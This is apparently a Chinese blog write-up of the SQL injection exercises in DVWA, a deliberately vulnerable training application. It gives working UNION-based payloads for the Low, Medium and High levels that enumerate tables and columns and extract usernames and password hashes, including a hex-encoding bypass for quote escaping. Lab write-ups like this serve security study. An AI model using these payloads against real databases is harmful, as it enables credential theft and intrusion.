DVWA-Writeup

原创

Yukikaze_cxy 于 2018-05-30 22:48:00 发布 403 收藏

本文链接：https://blog.csdn.net/cxy030303/article/details/80517381

待补完。。。

SQL Injection

目标：获取5个用户的用户名和密码
=====
【Low】

思路：1正常，1'报错，根据错误提示发现服务器未过滤单引号，构造1' union select '1,提示列数不等，继续构造1' union select '1','2发现返回正常，若仍不对则继续构造'3','4'...直至正确返回。由于此题返回所有结果，故直接union select 1,table_name from information_schema.tables#即可爆出所有表名，找到用户有关的users表，union select 1,column_name from information_schema.columns where table_name='users'#即可获得所有列名，发现User和Password列。为了屏蔽id=1的结果，所以最后构造的sql为：a' union select User,Password from users#

=====
【Medium】

思路：地址栏不显示结果，发现此为POST方法。使用Fiddler查看报文，获得post内容id=1&Submit=Submit。修改id内容并提交执行，1正常，1'报错，发现'被加反斜杠转义。使用%d5试图吃掉反斜杠，发现无法转义，说明编码方式非GBK。后直接构造1d=6 union select 1,2 --发现可以正常返回，将1,2替换成user和password即可。为了屏蔽id=1的结果，所以最后构造的post内容为：id=a union select User,Password from users --
【在没有Low难度基础的情况下，爆列名无法使用单引号，需使用十六进制转换，users的十六进制转换结果为0x7573657273。即sql为：select column_name from information_schema.columns where table_name=0x7573657273】

=====
【High】

思路：本题为弹出窗口，通过读取新窗口里post的值来返回结果。查看源码，发现sql前半部分同Low难度，多加了一个limit 1，当返回行数超过1时即报错。考虑构造0' union select '1','2#，发现正常返回。 考虑到一次只能返回1行，故使用limit n,1的方式逐行返回，所以最后构造的sql为：0' union select User,Password from users limit n,1#
【在没有Low难度基础的情况下，需先爆表名，构造0' union select table_schema,table_name from information_schema.tables limit n,1#直到获得正确的表名user（或者类user的表名），然后用和Low同样的方法爆列名，构造0' union select '1',column_name from information_schema.columns where table_name='users' limit n,1#爆出全部字段，发现User和Password字段】